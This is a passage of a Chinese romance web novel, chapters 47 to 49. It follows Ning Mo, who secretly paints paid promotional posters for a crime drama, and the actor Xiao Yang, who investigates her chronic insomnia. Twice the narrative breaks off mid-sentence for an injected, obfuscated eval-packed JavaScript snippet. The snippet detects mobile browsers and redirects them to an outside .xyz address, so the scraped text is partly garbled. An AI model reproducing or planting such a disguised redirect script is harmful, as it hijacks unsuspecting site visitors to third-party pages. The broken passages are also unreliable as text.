[风暴降临：500k有点困难，几乎是行内顶级画师的价格了，而且我们只用于宣传海报，不包含全版权转让，能不能降价呢？] [风暴降临：或者您看这样可不可以，我们送您《风暴降临》播出平台的全年会员，两张综艺录制vip前排票，同时邀请您参与我们《风暴降临》即将召开的新剧首映会] [风暴降临：但是画稿的价格呢，我们的预算是30k-50k一张，你看有没有可能呢？] “……” 宁茉盯着屏幕看了许久，脑子里进行了极其复杂的运算——30k到底是什么计算方式？k是1000吗？ ——她突然反应过来，也就是说，剧组出的价格竟然是3万到5万一张！ 天呐，这么高！！！ 对方见她久久没有回应，又发来十分礼貌的询问。 [风暴降临：或者我们再商量一下呢？剧粉十分喜欢您的画稿，您能否考虑一下与我们合作呢？] 宁茉慌忙回复道：[可以的可以的，三万就行。] 两张画稿就能挣三万块，都快赶上小半年的工资了。 宁茉一双眼睛弯成了月牙，眉毛也高高扬起，眼底满是欣喜与自豪，又暗含着一些不敢置信。 [风暴降临：好的！一张画稿三万，我们需要两张，一张是男女主角的双人图，一张是群像图，可以的话，我们先将参考图发给您，然后再讨论具体的要求。] 一来一回，对方已经抛出了许多十分专业的问题和要求，甚至还询问她是否有合同模板、价格含不含税。 宁茉没怎么接触过这些内容，转而去向大橘为重求助，对方很快推荐了她一家委托公司，说所有的合同和账目都可以从这家公司走，宁茉就不需要担心合同的问题了，而且公司也会帮她交税。 花费了一下午解决完这些细碎的问题，宁茉终于有时间喘了口气，剧组提出的所有现场录制相关福利她都拒绝了，毕竟剧组那些人个个都很眼熟她，去这种地方简直是当场掉马。 宁茉还出门去营业厅现场办了一个新的手机号，安在了原先的旧手机上，专门用来对接画稿相关的事情。 等所有的事情忙完，天色都要黑了，宁茉一天没怎么吃东西，就去楼下的面馆买了一碗面，付款的时候又多打包了一个鸡腿，当做给自己的奖励。 在沙发上快乐地啃着鸡腿，宁茉美滋滋打开画师微博，打算看看自己的粉丝涨到多少了。 消息界面却弹出了一个提示：她的特别关心有了新动态。 宁茉所有的微博特别关心都只指向一个人，她怔了一下，顺着消息提示点了进去。 看清界面的时候，宁茉一双眼眸瞬间瞪圆，连嘴里的鸡腿都忘了咬。 萧扬转发了她那幅画，还关注了她。 【萧扬：谢谢，好漂亮的画。】 …… 宁茉：“……！！！” 47. 第 47 章 看到微博的瞬间，宁茉第一反应竟然是心虚，心跳以一种十分危险的频率在颤动，脑子里更是瞬间掠过了无数画面。 她拿着平板画画的时候……萧扬没见过吧？ 仔细回想了半天，宁茉才稍稍放了一点心下来：她很少会把平板拿到片场，就连宋依依都不知道她会画画，那萧扬应该也不知道。 所以萧扬转发这条微博感谢，只是单纯的因为这位画师给他带来的热度。 但这种感觉真的很奇妙，明明朝夕相处的人，却在此刻以一种陌生的身份出现并向她问好。 而且还关注了她…… 宁茉偷偷翻了翻萧扬的关注列表，他关注的人很少，大多是有过合作的导演和演员，这还是他第一次关注娱乐圈以外的人。 萧扬那条微博下有不少粉丝在开心。 “奶奶~！你粉的演员又开始营业啦！” “天呐太好了，三年了，终于能看到萧扬的新剧了，你知道这三年我是怎么过来的吗？” “呜呜呜真的是神仙太太，画的好好啊，太太能不能成为我们萧扬的粉丝啊，真的很想拥有她……” “阑牧的预告帅的我尖叫，萧扬你小子这几年是不是又偷偷健身了？怎么现在宽肩窄腰的！” “萧扬！！务必留住这位太太！” …… 宁茉被大家的评论逗笑了，在萧扬的评论区很官方客气地评论了一句谢谢后，转头去看微信群。 宋依依已经把萧扬微博的链接发到了群里，正在给大家截有趣的评论。 [宋依依：萧扬哥的粉丝们好可爱啊，真的有种久旱逢甘霖的兴奋感] [王墨：算起来萧扬哥都已经4个月没发过微博了，好不容易开始营业，大家当然开心了] [宋依依：嘿嘿，还是这个神仙画师厉害呀，她要是萧扬哥的粉丝就好了] [浦世诚：萧扬你努努力吧，我看这个画师真不错] 宁茉感觉到自己的脸又开始发红，这种感觉实在是太奇怪了，她觉得不能再让大家这样聊下去了，于是非常生硬地抛出了一个新话题。 [宁茉：放假第一天，大家都在干什么呢？] [宋依依：耶？茉茉，你怎么这会儿才冒出来，你白天都在睡觉吗？] [宁茉：……不是，我只是没看手机。] [宋依依：那你错过大热闹了！快翻翻群聊，补一下功课~] 眼看群聊话题还是没有离开“神秘画师”，宁茉只好换了个方向。 [宁茉：……那个，听说风暴降临1月2号就要播了。] [宋依依：真的？！太好啦太好啦，终于要看到我们帅气的阑牧啦！] [王墨：那岂不是就剩十天了！太期待了。] 孙尚万突然冒了出来：[1月2号？确定是这个时间吗，你从哪里得到的消息？] “……”宁茉一怔，这才意识到1月2日是《风暴降临》官方给她规定的截稿日期。 既然卡在这个时间，那么开播多半也是这个时间前后。 但目前全网都还不知道《风暴降临》的具体播出时间，她这么随口一句……简直又给自己挖了个坑。 宁茉只好努力解释。 [宁茉：我看风暴降临的官方微博底下有人说的，也不知道准不准确。] [孙尚万：哦，那个啊，那都是粉丝自己猜的，别信。] [宁茉：……好。] 眼看群里的话题终于重新转向《风暴降临》，宁茉松了口气，转头又听到微信的提示音，萧扬给她发了消息。 [萧扬：昨晚睡得好吗？] “……” 没睡，忙着给你画宣传稿。 这话当然是不能说的，宁茉十分违心的发了一句：[还可以。] [萧扬：放假了就好好放松，什么也不用管，记得你的目标。] 宁茉立刻就意识到，目标指的是每天睡够十小时。 完了，今天一天过完，还倒欠七小时。 [宁茉：……我会努力的（小猫握拳.jpg）] —— 萧扬看着手机里的小猫表情包，很轻地笑了一声。 随即，一直连通中的通话界面传来疑问：“你怎么突然没声音了？” 萧扬将注意力拉了回来：“……在回消息。” 对方有些疑惑：“不是休假了吗？怎么还这么忙。” “……有些突发事件，已经解决了。” “哦，好，那我继续问了，你这位朋友是从什么时候开始失眠的？” 萧扬正色道：“十年前。” “十年？这么久了……他现在多大？” 萧扬沉默了两秒：“二十出头。” “嘶……”对方思考了一会儿，“也就是说差不多是在中学的时候就失眠了。” 萧扬：“嗯，你接触过那么多患者，有过这样的例子吗？” 对方犹豫了一下：“失眠的挺多，但长达这么多年的失眠极少……你这个朋友是男是女啊？” 萧扬没有立刻回答这个问题，转而问道：“……跟性别有关吗？” “如果是男生的话，也许是青春期遭遇了什么挫折，比如失恋、辍学、沉迷游戏……” “不是，”萧扬打断了对方，“她……应该很乖，学习成绩也很优异，上了一所好大学。” 对方叹了口气：“如果排除这些因素的话，其实答案挺简单的。” 萧扬放慢了语速：“……什么？” “你心里也有答案了不是吗，”对方幽幽开口，“就像你宁愿改名换姓，也要离开肖家——你的这位朋友，家庭关系多半不是很和谐。” “听起来他的症状是典型的情绪性失眠，这种情况多见于青少年，正处于心理断乳期，想要慢慢的从家庭中脱离出来，但情感又不能完全独立，这个时候，如果家里反而对他施以十分严厉的管教，就会诱发应激反应。” “长期感到被压迫或者满足不了自身的需求，导致自主神经系统高度活跃，影响睡眠质量——简单来说，身体始终处于一种准备战斗的情况，又怎么睡得着呢？” “还有青少年大脑发育——特别是前额叶皮层，会经历一个关键阶段，这部分主要负责情绪调控，如果他再有点内向或者敏感的性格，失眠就会更加明显，所有的情绪都憋在心里，憋着憋着就失眠了呗。” “你可以观察观察，他平时是不是对外界的反应比较冷漠，有什么情绪都不轻易和别人分享。” 对方娓娓道来，萧扬的目光却一点点沉下去。 他蓦然意识到，宁茉似乎从来没有提过自己的父母，宋依依在剧组时常和父母通话，还会和家人分享拍摄时的一些趣事。 但宁茉从来没有做过这些事情，在她对外呈现的世界里，父母似乎完全隐形了。 …… 电话那一头，朋友还在劝他：“不过你也不用太担心，失眠虽然影响身体健康，好在不是什么绝症，只要找到致病性认知的核心问题，他的情况还是可以改善的。” “你多和他聊聊吧……或者让他来找我做咨询也行啊，我给他开个友情价！” “好了，”萧扬调低了手机音量，“我要问的就这么多了，先这样吧。” “诶不是？萧扬你怎么用完就扔啊！我们都多长时间没见面了！” 萧扬的语气十分平淡：“我还有事，有空再联络吧。” “诶诶诶！那你答应我的秦娇娇签名照记得给我啊！” “……” …… 挂断了对方喋喋不休的电话，萧扬揉了揉太阳穴，有些头疼。 他低头盯着面前和宁茉的对话界面，眉头皱成了一根深线，脑海里不断回放着宁茉的样子。 她总是略显苍白的脸，消瘦的身形，和她总是若无其事的笑着说“我没事”。 “情绪性失眠……环境压力……” 友人的话像一根钉子扎进了他的脑海，心情说不出的沉重，他这才意识到，也许宁茉始终在经历着连她自己都无法抗衡的痛苦。 偏偏这个痛苦，他帮不上忙。 萧扬深吸了一口气，试图让自己冷静下来，心跳却止不住的加快，胸腔有什么东西在不断膨胀、扩大……直至失控，那是一种十分复杂的情绪，交织着懊恼、心疼，和无能为力的挫败。 可五年前的宁茉，明明还是会笑的。 要是那个时候，他主动迈出那一步，去认识宁茉就好了…… 萧扬眼底透着焦虑，却又带着隐隐的坚定感。 ……无论如何，他都想为宁茉做些什么。 —— 宁茉在家努力了五天，从剧本到定妆照到精彩片段集锦，可以说是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14846695|153489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一口气看完了粉丝最想看的内容，自己却看得头晕眼花。 《风暴降临》剧组看似只要了两张图，可一张是十分重要的双人图、一张又是整部剧所有人物的群像。 宁茉还从来没有尝试过画这样的构图，打了两天的草稿都没能把群像那一张画好，只好先转向双人图。 好在她看过海文成和周杉演戏，对人物的性格有基础了解，再加上剧里这些片段，用了三天完成了这张双人图。 画面里，刑警周沉站在画面的左侧，半侧着身，身上穿着一件略显陈旧的风衣，风吹起了他的衣摆，他的身形却稳如磐石，目光锐利地直视前方，手里握着一把手枪，那把手枪上已经有不少磨痕，侧面甚至还有一个小小的弹坑。他神态冷峻，尤其是那双眼睛，满是岁月沉淀下来的冷静与洞察力。 而徐霏霏就站在画面的右侧，身体微微前倾，整洁的警服被雨水打湿，双手紧握着手枪，目光里满是坚定与不服输的倔强，她的气质鲜亮活力充满生机，与周沉的沉稳形成了鲜明对比。 画的背景选择了狂风骤雨的夜晚，乌云密布，天空中划过一道刺眼的闪电，远处隐约能看到模糊的亮着灯光的城市轮廓，那道闪电从两人中间劈下，代表风暴和危险，同时地面水渍上的人物则画的模糊又充满张力。 整幅画的背景以深灰、黑为主色调，闪电和城市的灯光则用蓝冷色点缀，光影对比中两人的轮廓十分突出，画面即使整体十分压抑，但仍旧保留了强烈的视觉冲击力，让人一眼就能看到画面中心的两个人。 宁茉上完最后一层底色，满眼都是满意，觉得画功又提升了不少。 不过她不太清楚这样的话符不符合剧组的宣传标准，忐忑了一会儿，宁茉还是点开了画师微信号，将小图先发了过去。 [茉莉无声：你们看一下双人图的初稿。] 发完又觉得自己语气有些生硬，宁茉补充了一句。 [茉莉无声：欢迎提出修改意见哦（幼崽鞠躬.gif）] 对方有些震惊：[这么快就有初稿了吗！] 随后他就看到了那幅画，沉默了许久。 宁茉顿时更忐忑了，她不会由于不合格被退货吧…… [我需要和领导商量一下，稍等。] 宁茉忙回复好的。 等回复的间隙，她重新审视起自己的这幅画，好像确实也没那么好，配色整体太暗了，两个人物又画的不够漂亮，还有背景占比太大，还能优化一下…… 想着想着，对方已经有了回复，他快速的发了好几句话，快的宁茉的眼睛都有些跟不上看。 [您真的是太棒了，这幅画我们一致通过！] [您介意我们将您的作品用来做海报宣传吗？后续可能会在一些城市铺地广，放心，我们会署上您的名字] [而且您的人物精髓也抓的太传神了！简直像是亲眼见过他们两个演员一样！] [对了，您真的不考虑来参加线下首映会吗？我们都很期待见到您本人！] …… 看到最后一句，宁茉慌忙回道：[抱歉，最近的稿子有点多，实在是抽不出空。] 抽得出空也不会去的，放心。 …… 对方表示了惋惜，并说十分期待她的另外一张群像图，这顿时让宁茉有些头疼，她自己都还没想好群像要怎么画。 聊到最后，对方又突然画风一转，小心翼翼的问道。 [我能不能了解一下，您最近其他的稿子……都是什么类型的呢？] 宁茉有些奇怪对方的这个问题，但她还是如实说了她接的约稿内容，对方顿时放下了心。 [好的，虽然合同上没有写这一条，但我们还是希望能附加一个小小的条件：在《风暴降临》剧播期间，您可以不接同期剧的推广稿吗？] 生怕宁茉犹豫，他又追加道：[报酬我们会增加一万。] 宁茉这才明白，《风暴降临》剧组是怕同期的热播剧也学他们找画师推广，并且显然宁茉已经成了一个小小的话题中心，这种时候再去找她推广，能够借力打力，既消解了大家对《风暴降临》这部剧的新鲜感，又宣传了自身的剧。 而《风暴降临》为了杜绝这样的情况，率先花一万块钱买断了这种可能，以一种非常朴实有效的方法防止了商战。 宁茉立刻回复道：[好的！同意！] 48. 第 48 章 为期一周的假期很快就结束了，宁茉在最后一天终于早早的睡下，第二天也早早的起床，第一个到达了工作室。 将近一个月没来工作室，她一时间还有些想念这间屋子，先是□□了一把许久不见的山山，把包包里给它带的罐头和猫条都摆到猫零食架上，又清理了他们三个人工位上的积灰，顺带着把整个工作室地面都清洁了一遍。 做完这些后，萧扬和浦世诚一前一后的走进了工作室，看到她的瞬间，脚步同时一顿。 萧扬似乎刚洗完澡，发梢还在往下滴水，身上简单套着一件运动外套，挺拔地站在那里，整个人的状态看起来十分松弛。 相比之下浦世诚就狼狈多了，他脸上满是疲惫，走路都还扶着腰，看得出来刚才练的十分努力。 萧扬目光看向她：“宁茉。” 浦世诚则有些稀奇：“你怎么来了？” 宁茉眨眨眼，眼看这二位都对她的到来感到意外，只好解释道：“休假结束，昨晚我们三个就在群里说过，今天会来工作室报到了。” “哦哦！对！你瞧我这脑袋，”浦世诚拍了拍自己的头，顺带不着痕迹的瞪了萧扬一眼，“一大早就来锻炼，脑子都缺氧了，把这事忘了。” 萧扬神色平淡，面对他的控诉毫无反应，只是走向宁茉，在她身前站定，随后目光上下扫了一圈。 宁茉顿时有些不自在，耳朵微红，错开他的视线：“……怎么了？” “你似乎并没有好好休息，”萧扬很快就有了结论，“状态并没有恢复多少。” ……狠狠努力画了七天的宁茉心虚到都没敢反驳。 萧扬又问：“你休假前定的目标达成了多少？” “……”宁茉眨眨眼，脸上表情是肉眼可见的逃避。 没去算，总之肯定是不达标的。 见她沉默，萧扬很轻地叹了口气，低声道：“……果然。” “我……”宁茉觉得自己该说点什么，她犹豫了几秒，说道，“……发生了一点意外情况。” 的确很意外，但那可是七万块钱，宁茉觉得还是很值得的。 这话一出，萧扬的神色却蓦然紧张起来：“……怎么了？” “呃……”宁茉脑子迅速转了转，“就是……租的房子出了一些意外情况，这几天都在收拾。” 没办法直说，她只好找了个听起来还算靠谱的借口。 萧扬却眉头一松，随后摇摇头：“……下次再遇到这种问题，直接告诉我。” 宁茉立刻朝他笑笑：“这种小事都来找你的话，也太麻烦你了。” 萧扬垂下眼眸，感受着短短一周，似乎又将自己推远了一些的宁茉，低声道：“……不是小事。” 他的声音很低，宁茉一时间没有听清：“什么？” “没什么，”萧扬眼眸有瞬间的失神，又很快聚焦向她，“吃早饭了吗？” 宁茉摇摇头，这个她倒是真忘了。 萧扬伸手拍拍浦世诚的肩膀：“给大家点个早餐，我请客。” “？”浦世诚一愣，“你最近怎么这么爱请客。” 萧扬露出了个似笑非笑的表情：“你不是总说海文成豪爽大方爱请客吗？我向前辈学习，不好吗？” 说完这句话，他似乎还有事情要忙，转身去了会议室。 浦世诚挠挠头，忍不住吐槽道：“……一大早阴阳怪气的。” 宁茉笑眯眯凑过来：“蒲哥，我来帮你点餐吧。” …… 早餐点的是工作室附近商城里的店，整体味道比较清淡，食材也很新鲜，工作室的人陆陆续续到齐时，点的餐也正好送来。 “哇！一上班就有福利啊，谢谢萧哥~” “谢谢萧扬哥！” “呦，萧扬今天这么暖心啊……” 大家七嘴八舌的夸萧扬，他本人倒是没什么反应，只是安静地站着给大家递餐具。 宁茉坐在会议室长桌尽头，打开面前的一小份瘦肉粥，刚舀了一勺，旁边突然传来凳子拖拽的声音，随后，一个修长人影随之落座。 宁茉动作一僵，转头看向坐到了自己身边的萧扬。 他早餐一向吃的很少，只拿了个茶叶蛋，慢条斯理的剥着鸡蛋壳，这场景有些眼熟，倒让宁茉想起在云城时和他一起吃“吴记汤包”的画面。 “上周……”萧扬突然开口问道，“你没有回家吗？” 宁茉摇摇头：“没有。” 萧扬的语气十分随意：“我听宋依依说，你是莫城人。” “……是啊，”宁茉眨了眨眼，很慢地喝下那一小勺粥，“大学也是在莫城上的。” 萧扬将鸡蛋壳剥完，却没有吃，只是盯着手指发呆，过了好一会儿，才又问道。 “方便问问……你父母是做什么工作的吗？” “哦，”宁茉的语气倒是十分淡然，“我妈妈没有工作，偶尔会帮亲戚做些零活，我爸爸是位高中教师，教物理的。” “这样啊……”萧扬转头看向她，“你是独生子吗？” 宁茉点点头：“是呀，我家只有我一个孩子。” 萧扬又沉默下来。 宁茉不太明白他怎么突然开始关心这些，不过都聊到这儿了，她也就顺着往下说。 “我从小到大都没怎么离开过莫城，大学毕业以后，在莫城找了家公司上班，工作了两年。” “后来……公司业绩不太好，打算换个工作，正好看到工作室在招人，就投了简历，来了荣城。” 萧扬应了一声：“……还好你来了。” 宁茉忍不住抬眼看了他一眼，萧扬浓密的眼睫垂下，挡住了眼底的神色，可宁茉却隐约觉得，他的情绪似乎有些低落。 宁茉回想了这两天的新闻，《风暴降临》热度攀升，剧粉都很期待这部剧，萧扬也因为定妆照预告涨了一千多个粉…… 看起来一切都在向好发展，他为什么不高兴呢？ “宁茉。”萧扬突然低低地唤了一声，他的声音极低，会议室里其他人都没有听到，只有宁茉清晰地捕捉到了这一声。 宁茉有些茫然地看向他，萧扬抬眼，眼眸里的情绪有些异样，定定地望着她。 过了几秒，他像是突然回过神一般，低头从口袋里摸出了一个东西，放到宁茉手中。 “这个送你。” 他的指尖温热，接触宁茉掌心的瞬间，大概是心理因素，宁茉竟然觉得有些烫。 “……这是？”宁茉有些疑惑地拆开袋子，随后就看到里面是个漂亮的香囊，上面的刺绣工艺十分精细，整个香囊更是散发着一种柔和的香气。 宁茉忍不住赞叹道：“好漂亮。” “这是我……朋友送的香囊，是国内有名的制香大师做的，有安神助眠的功效。” “虽然不知道有没有用，但你可以把它放到枕头边试一试。” 宁茉握紧香囊，觉得连手里这个香囊都有些发烫：“……你专程为我找的吗？” 萧扬垂下眼：“……恰好遇到了。” “谢谢！”宁茉小心收下香囊，转头看向他，“太麻烦你了。” “……”萧扬眼底原本的笑意在听到宁茉的道谢后蓦然凝固，随后有些愣怔地望向宁茉。 宁茉还在客气：“不过我这也是老毛病了，其实也没什么影响的，你不用担心我。” “而且一点也不影响做事情，我保证会以饱满的热情来迎接之后的工作！” 她说话的语气自然又清新，就仿佛这话是她想了很久，此刻顺其自然说出来的一般。 和一周前在云城时的状态完全不同，萧扬看着她，只觉得眼前的人和自己之间似乎隔了一道空气墙，每当他以为两个人靠得很近时，那道空气墙就会恰到好处地出现，提醒他、阻挡他。 …… 宁茉吃完早饭开始收拾盒子，余光瞥到萧扬面前那个已经凉透了的茶叶蛋：“你怎么没吃？” “……”萧扬终于收回视线，拿起纸巾擦了擦手，低声道，“不饿了，先放着吧。” …… 吃完早餐，众人迅速回归工作状态，孙尚万排出了近半个月的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861598|153489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行程通告，宁茉立刻注意到，三天后萧扬要去海城录《风暴降临》的宣传综艺。 这次综艺行程霍研指定了宁茉和宋依依两个人跟，她们第一次跟着录综艺，问了孙尚万和霍研很多注意事项。 不过在出发前，宁茉还有一件重要的事要做：她加班加点地完成了《风暴降临》的第二张稿子。 这张图她画的很吃力，但好在效果还不错。 宁茉将整个图的背景设定成了一个巨大的拼图，拼图碎片中浮现了所有案件的关键线索或者象征物品：一根细长的针管、一枚染血的戒指、一个破旧的玩偶、一双洁白的舞鞋…… 这些线索藏在碎片的边角，与背景融为一体，不仔细看看不出来，但一旦发现它们，就立刻能对应上《风暴降临》中不同的案件。 而拼图的中心便是周沉和徐霏霏，两个人坐在一张长桌前，桌子上摊开了一份长长的卷宗，桌脚则放置着手铐和证物，他们的神态都在思考，神情却截然不同，周沉眉眼沉沉、神情冷峻，徐霏霏嘴角带笑、自信得意，共同构成了整个画面的焦点。 围绕他们环形排列的便是剧里的其他配角和不同案件的关键人物，由于人物太多，为了不显得杂乱无序，宁茉没有十分细致的描画每一个人的五官和深情，而是提取他们身上最具特色、最让人印象深刻的部分，强调放大，如狰狞的脸、惊惧的眼神，和漂亮的芭蕾舞姿…… 画到阑牧时，宁茉悄悄用了些私心，把他画的十分好看，画的正是那张让她印象深刻的器材室窗口向外看的场景，她着重刻画了萧扬那双眼睛眼底的血色和愤怒，这个画面在她梦里都鲜明乍眼，可以预见播出时将会掀起怎样的波澜。 这些关键人物互相错落，形成了一种复杂却又有序的画面感，其中对于不同的案件，宁茉特意在他们的衣服上用了特定的符号，方便观众一眼能看出哪些人是有联系的。 画面整体以蓝黑色为主，又采用了暖色的光源将男女主和关键人物的面部突出，制造出视觉焦点，再通过拼图碎片的逐渐破裂暗示真相的潜藏危险。 这对宁茉来说是一种十分大胆的构图，突破了她以往中规中矩的排列方式，她原本也想过按照剧组海报那样将人物依次排列，又总觉得这样不够有吸引力，在联想到剧本里某一个案件中涉及到的拼图，于是灵光一现，采用了这样的构图。 但这毕竟是宁茉个人的想法，她不知道能不能获得剧组的认可。 她默默打开画师微信号，戳了戳对方，通过这几天的交流，她已经知道《风暴降临》的官方账号是出品人何松华底下的宣传团队在运营，让他们联络自己买稿子的也是何松华本人，第一张画稿就是因为他点了头才顺利通过。 [茉莉无声：这是群像图的初稿您看一下。] [茉莉无声：对了，如果可以的话，您的修改意见请尽可能提的具体一些，毕竟留给我的修改时间不多了（鞠躬.jpg）] 对方像是每天都在高强度浏览微信信息，宁茉才发过去没两分钟就有了回应：[好的，稍等，我们讨论一下。] 随后他转身喊道：“快来看！这个画师的第二幅图出来了，牛逼，太牛逼了！” 瞬间一群人将他包围。 “真的好快啊，离交稿日期还有五天呢竟然就完成了！” “是啊，我原本想着她来不及画第二张的……” 讨论的间隙，那张画稿被放大，瞬间铺满了整个电脑屏幕，屏幕是专门定制的，比普通电脑屏幕大了一倍，因此这张画突然出现时，给人的冲击力十分强劲。 人群瞬间安静了几秒钟。 随后就是此起彼伏的惊呼。 “卧槽！这么牛逼！” “我的天！！！” “这他妈是神仙亲自下凡画的吗？！” “天啊你们看这个！！”有人指着拼图碎片里的细节，“她连这些小彩蛋都画了！” “这人到底谁呀？她是看过我们的母带吗，怎么能把这些细枝末节把握的这么准确？！” “何总呢！快让何总来看看！” 49. 第 49 章 何松华刚开完会，就被助理请到了宣推组，一群人眼含期待地看着他，似乎都很激动。 “……你们这是什么表情？怎么了？” 助理提醒道：“何总，那位茉莉画师交稿了，您来看看吧。” 何松华顿时提起了兴趣，快步走到了电脑前：“这么快？让我看看画的怎么……” 话音未落，他就已经看到了那幅画，先是愣了几秒，随后趴到电脑屏幕前，仔仔细细的观察着。 “……真漂亮啊。” “人物传神，构图新奇，细节也这么精致……” 他不断点头，眼底满是欣赏，这位画师交来的两幅画作一幅比一幅惊艳，既展现了角色与案件的复杂性，画作本身又富有艺术感和视觉冲击力，几乎可以想象这张群像大图在视频APP首页推广时效果有多震撼。 只花了这么点钱就能拿到这么好的宣传效果，实在是赚翻了。 “你们还有什么修改意见吗？”他问组里的人。 众人一致摇头。 于是，宁茉终于在忐忑又漫长的等待中收获了对方的回话。 [我们没有任何修改意见，您辛苦了！] [何总说第二幅画实在是太惊艳了，十分高兴能与您合作！] [尾款将于五日内打到您的指定账户，希望我们下次还有机会合作] 宁茉这才松了一口气，客气地回了几句结束对话，猛地站起来冲向了自己的床。 “太！好！了！” 她扑在床上，陷进蓬松的被窝里，激动地来回滚了好几下。 “过了过了过了，竟然这么顺利就过稿了！” 之前大橘为重听说她接了推广还十分担心，说有些甲方意见很多，总是想要五彩斑斓的黑，还劝宁茉一定要有脾气，不能无底线的修改。 可没想到这次的甲方这么好说话，打钱也这么爽快。 宁茉在床上翻了个身，算了算自己现在的积蓄，真好，两年之内都不需要再为房租困扰了。 她惬意的躺了一会儿，又翻身起来收拾行李。 一边收拾，宁茉一边叹气：早知道这么快又要外出，行李箱就不收的那么干净了。 …… 第二天下午，海城。 海城娱乐大厦《快乐对对碰》演播厅里，无数工作人员正在紧张地对着拍摄流程，现场十分嘈杂。 萧扬要先在海城拍摄几个宣传物料，宁茉和宋依依坐了一上午的飞机，下午六点时终于头晕眼花抵达了演播厅，先来对接彩排事项。 舞台上站着海文成和周杉，他们正在彩排开场演出，两个人都没有化妆，戴着黑色的鸭舌帽和口罩，在工作人员的指引下确认自己的点位。 两人的态度都十分敬业，只是简单的跟了两圈，就已经完全掌握了自己的位置，舞蹈动作也和音乐快速合上。 随后他们被指引去彩排其他环节，站在舞台上的工作人员举起话筒问：“萧扬老师的工作人员来了吗？” “来了来了！怎么了？”宁茉举起手，向前走了一步。 工作人员看了她一眼，又抬起手腕看了眼手表：“萧扬老师大概什么时候来？” “抱歉，他已经在往这边赶了，”宁茉脸上带了些歉意，“最多30分钟就来了。” 工作人员皱眉道：“但是我们这个开场舞的布景等会儿要撤了，要先抬其他的道具。” “……”宁茉顿时有些紧张，“能再等等吗？他还没有彩排。” “那你先来吧，”工作人员朝她招招手，“你帮他记一下点位，等他来了你再带他走一遍。” “……啊？”宁茉一愣。 工作人员转身朝着舞台另一端走，一边催促宁茉：“上来吧。” “……” 宁茉求助的眼神看向身旁的宋依依，宋依依朝她比了个加油的手势：“去吧茉茉！你放心，我会拍好视频的！” “……” 上了台，宁茉朝下一看，顿时有点头晕：无数聚光灯照在舞台上，台下有不少扛着摄像机的人，大大小小的镜头全部对准了她。 偏偏宁茉出门没戴口罩，此刻十分后悔，却也只能硬着头皮上了。 “开场舞你会跳吗？”工作人员问道。 宁茉赶忙摇摇头，这支舞是昨天萧扬才去练舞室学的，她没有跟着去，因此连舞蹈是什么样子都不知道。 “那就只记点位吧，开场的时候定点在这里，开场pose做完以后音乐起，会有伴舞引导他往这里走，站到这朵花旁边开始跳……” 工作人员快速指了一遍位置，宁茉听着她的话，眼睛越睁越大：短短两分钟的歌，怎么会有这么多走位？！ “记住了吗？”工作人员问道。 “……”宁茉挤出了个十分抱歉的微笑，“能麻烦您……再说一遍吗？” 工作人员的表情顿时有些无奈：“……哪个地方没记住？” “……” 宁茉快速回想了一遍刚才她的指引，跑到了第三个点位附近：“这里，这里后面要去哪儿？镜头在哪儿？” 工作人员走过来，指了指旁边的位置：“这里位置不动，要等他的搭档跳一段舞后两个人汇合。” 宁茉连忙点点头：“好的好的，我记住了，太麻烦您了，辛苦了，这是我们工作室的小礼物，请您不要嫌弃。” 她将一个印有萧扬签名的黑色小盒子递给了工作人员，这是出差前她在工作室顺手拿的，霍妍定制了许多这种周边，有小饰品、充电宝、帽子等等，价值不高，但胜在好看，平时出活动时还可以顺手送一些，落点人情。 小礼物显然起了作用，工作人员笑了笑，将盒子塞进卫衣口袋，又带着宁茉重新走了一遍走位。 “现在记住了吗？” 宁茉点点头：“记住了。” “那放音乐走一下吧，”工作人员举起话筒，“老师，麻烦放一下开场舞的音乐。” “啊？”宁茉还没反应过来，场馆里已经响起了开场舞的音乐。 她不得不快速跑到开场定点的位置，随后手忙脚乱地跟着音乐走位。 宋依依在台下一边笑一边录视频，还把视频发到了工作室群里。 于是萧扬坐上车赶往录制棚时，第一个看到的就是宁茉的彩排视频。 他点开看了一遍，又把进度拖回去重看，看的津津有味。 浦世诚探头过来：“开场舞学会没？你这几年都没在台前跳过舞，明天可别闹笑话啊。” “……”萧扬懒得给他眼神，只是放慢了视频倍速，看着镜头里的宁茉。 宁茉在台上贯彻着工具人的宗旨，除了走位绝没有一个多余的眼神和动作，像游戏里的石化小人。 偏偏她脸上又是肉眼可见的紧张，和她一步不乱的步伐造成了极大反差，看起来十分可爱。 并且萧扬突然发现，其实宁茉本身也很上镜，她头小脸小，身材又瘦高匀称，腰细腿长，往舞台上一站，天然就能吸引别人的注意力。 是很适合出道的一张脸，萧扬下了判断。 但很快他又摇摇头，还是不要想这些不切实际的事情了，光是防止小助理被撬墙角这件事，萧扬已经够头疼了。 …… 彩排舞台下，穿着粉色皮裙的乔娜娜眼含冷意，看着台上的女孩子。 “她是谁？这场综艺还有别的艺人参加？” 乔娜娜的助理摇摇头：“没有啊，目前节目组给我的名单里没有这个人。” “去问问怎么回事。” 助理慌忙联系上现场彩排的负责人，也是综艺的副导演汪伟，问清楚情况后，又来和她解释。 “不是艺人，是萧扬的助理，在替萧扬彩排。” 乔娜娜翻了个白眼：“彩排都不亲自来？” 助理放低声音：“说是要先录几个剧宣的物料，还没赶过来。” 